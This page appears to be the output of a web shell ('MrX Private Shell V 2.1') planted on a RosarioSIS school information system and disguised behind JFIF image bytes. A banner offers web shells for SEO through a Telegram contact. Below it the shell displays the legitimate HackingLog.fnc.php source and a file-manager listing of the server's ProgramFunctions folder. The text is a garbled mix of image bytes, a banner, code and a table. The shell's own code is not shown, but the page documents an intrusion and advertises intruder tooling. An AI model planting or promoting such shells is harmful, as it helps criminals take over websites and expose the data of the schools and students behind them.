����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Log Hacking attempt function
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Log Hacking attempt
* Send email if `$RosarioNotifyAddress` or `$RosarioErrorsAddress` set
*
* @global string $RosarioNotifyAddress or $RosarioErrorsAddress email set in config.inc.php file
* @since 4.0 Uses ErrorSendEmail() & "« Back" link to Portal or automatic redirection if has just logged in.
* @since 4.1 Redirect automatically to Portal after 5 seconds.
* @since 4.3 Reload menu now so it does not contain links to disallowed programs.
* @since 6.4.1 Only send email and redirect to Portal without displaying error.
* @since 9.0 Logout after 10 Hacking attempts within 1 minute.
* @since 10.0 Log "RosarioSIS HACKING ATTEMPT" into Apache error.log
* @since 10.0 Force URL & menu reloading, always use JS to redirect
*/
function HackingLog()
{
global $error;
$redirect_url = 'Modules.php?modname=misc/Portal.php';
// Log Hacking time in session.
$_SESSION['HackingLog'][] = time();
$attempts_within_one_minute = 0;
if ( count( $_SESSION['HackingLog'] ) >= 10 )
{
$one_minute_ago = time() - 60;
foreach ( $_SESSION['HackingLog'] as $i => $time )
{
if ( $time >= $one_minute_ago )
{
$attempts_within_one_minute++;
continue;
}
unset( $_SESSION['HackingLog'][ $i ] );
}
if ( $attempts_within_one_minute >= 10 )
{
// Logout after 10 Hacking attempts within 1 minute.
$redirect_url = 'index.php?modfunc=logout&token=' . $_SESSION['token'];
}
}
/**
* Log "RosarioSIS HACKING ATTEMPT" into Apache error.log
* So you can ban IP using a custom fail2ban jail
*/
error_log( 'RosarioSIS HACKING ATTEMPT' );
if ( $attempts_within_one_minute < 10
&& ! empty( $_SERVER['HTTP_REFERER'] )
&& mb_strpos( $_SERVER['HTTP_REFERER'], '&redirect_to=' ) !== false )
{
// If User has just logged in, take him back to Portal without sending email!
?>
<script>
window.location.href = <?php echo json_encode( $redirect_url ); ?>;
</script>
<?php
exit;
}
$error[] = _( 'You\'re not allowed to use this program!' );
ErrorSendEmail( $error, 'HACKING ATTEMPT' );
if ( $attempts_within_one_minute >= 10 )
{
// Destroy session now: some clients do not follow redirection.
session_unset();
session_destroy();
}
// Redirect automatically to Portal or Logout.
?>
<script>
window.location.href = <?php echo json_encode( $redirect_url ); ?>;
</script>
<?php
exit;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|